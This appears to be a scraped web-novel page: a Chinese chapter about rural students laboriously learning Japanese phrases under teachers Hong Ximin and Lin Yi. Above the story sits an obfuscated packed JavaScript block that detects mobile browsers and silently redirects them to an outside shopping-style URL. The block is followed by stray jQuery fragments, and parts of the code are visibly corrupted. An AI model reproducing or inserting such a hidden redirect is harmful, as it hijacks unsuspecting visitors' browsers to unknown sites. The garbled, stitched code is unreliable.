;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13433139|141441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
這個道理。大家都加把勁!”
從那以後,學員們雖說依舊感覺日語學習困難重重,但態度相較之前明顯積極了許多。 每天清晨,天還未亮,他們就早早地起來,捧著日語課本,大聲背誦單詞;
課堂上,每個人都全神貫注,認真做著筆記,不再隨意發牢騷、抱怨;
到了晚上,宿舍裡還不時傳來他們互相交流學習心得的聲音。
洪熙民也充分考慮學員們的實際情況,調整了教學方法,將重點更多地放在口語和實用對話的練習上。
有一次,洪熙民在課堂上提問:“「こんにちは」是什麼意思?”
一個學員小聲回答:“空尼奇哇,就是你好的意思。”還在旁邊用中文寫著“空尼奇哇”來幫助記憶。
還有一次,老師教“「ありがとうございます」”,另一個學員跟著念:“阿裡嘎多鍋砸一麻絲,是謝謝的意思。”同樣在本子上寫著“阿裡嘎多鍋砸一麻絲”。
然而,對於這些文化基礎薄弱的學員而言,進步的腳步依然緩慢。
有一次,在課堂上練習對話時,一個學員因為發音錯誤,引得大家哄堂大笑。他的臉“唰”地一下紅透了,羞愧地低下了頭。
林毅見狀,趕忙走上前,拍了拍他的肩膀,鼓勵道:“彆灰心,彆喪氣!多練習幾遍就會好的。咱們一步一步來,彆著急。”
在日複一日的不懈努力中,漸漸地,大多數人能聽懂一些簡單的日語指令和日常對話了。 但要論能夠流利地表達,依舊隻有少數幾個人能做到,而且還帶著濃濃的地方口音。
這章沒有結束,請點擊下一頁繼續閱讀!